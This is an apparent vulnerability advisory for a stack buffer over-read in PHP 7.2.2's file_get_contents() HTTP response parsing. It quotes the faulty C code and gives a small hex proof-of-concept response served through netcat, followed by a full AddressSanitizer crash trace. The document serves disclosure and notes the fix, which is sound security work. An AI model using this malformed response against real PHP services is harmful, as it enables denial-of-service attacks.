memory corruption while parsing HTTP response

In the network interfacing PHP API file_get_contents(), a mechanism is implemented to parse the HTTP/S response from the remote host. A vulnerability is found when the vulnerable PHP build processes certain malformed HTTP/S response packets, resulting an array negative indexing. Vulnerable code at: ``` php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 if (tmp_line[tmp_line_len - 1] == '\n') { --tmp_line_len; if (tmp_line[tmp_line_len - 1] == '\r') { --tmp_line_len; } ``` If the proceeding buffer contains '\r' as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go to -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed. ``` $ bin/php --version PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies ``` Test script: ``` --------------- $ xxd -g 1 poc 0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a 000000000100.. ``` ``` $ nc -vvlp 8080 < poc Listening on [0.0.0.0] (family 0, port 8080) Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083) GET / HTTP/1.0 Host: localhost:8080 Connection: close $ bin/php -r 'file_get_contents("http://localhost:8080");' ``` Expected result: ---------------- NO CRASH Actual result: ``` -------------- $ bin/php -r 'file_get_contents("http://localhost:8080");' ================================================================= ==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac READ of size 1 at 0xbfc038ef thread T0 #0 0x8aa393a in php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 #1 0x8aa61fb in php_stream_url_wrap_http /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:979 #2 0x8b8b115 in _php_stream_open_wrapper_ex /home/weilei/php-7.2.2/main/streams/streams.c:2027 #3 0x8918dc0 in zif_file_get_contents /home/weilei/php-7.2.2/ext/standard/file.c:550 #4 0x867993a in phar_file_get_contents /home/weilei/php-7.2.2/ext/phar/func_interceptors.c:224 #5 0x91ee267 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:573 #6 0x91ee267 in execute_ex /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:59731 #7 0x923c13c in zend_execute /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:63760 #8 0x8cba975 in zend_eval_stringl /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1082 #9 0x8cbaf66 in zend_eval_stringl_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1123 #10 0x8cbb06b in zend_eval_string_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1134 #11 0x9244455 in do_cli /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1042 #12 0x9246b37 in main /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1404 #13 0xb5e8ca82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) #14 0x80656d0 in _start (/home/weilei/php7_asan/bin/php+0x80656d0) Address 0xbfc038ef is located at offset 607 in frame <php_stream_url_wrap_http_ex> of T0's stack: This frame has 13 object(s): [32, 36) 'transport_string' [96, 100) 'errstr' [160, 164) 'http_header_line_length' [224, 232) 'timeout' [288, 296) 'req_buf' [352, 360) 'tmpstr' [416, 432) 'ssl_proxy_peer_name' [480, 496) 'http_header' [544, 576) 'buf' [608, 736) 'tmp_line' [768, 1792) 'location' [1824, 2848) 'new_path' [2880, 3904) 'loc_path' HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 php_stream_url_wrap_http_ex Shadow bytes around the buggy address: 0x37f806c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f806d0: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4 0x37f806e0: f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4 0x37f806f0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4 0x37f80700: f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 f2 f2 00 00 =>0x37f80710: f4 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00 0x37f80720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2 0x37f80730: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f80740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f80750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f80760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap righ redzone: fb Freed Heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==26249== ABORTING Aborted ``` Details can be found at https://bugs.php.net/bug.php?id=75981 The bug is fixed in the security repo and is pending CVE assignment. ## Impact A DoS can be triggered when certain conditions are met, or other implications from the subsequent string operations. The affected mechanism is popular as file_get_contents() is a very popular API among PHP based web applications.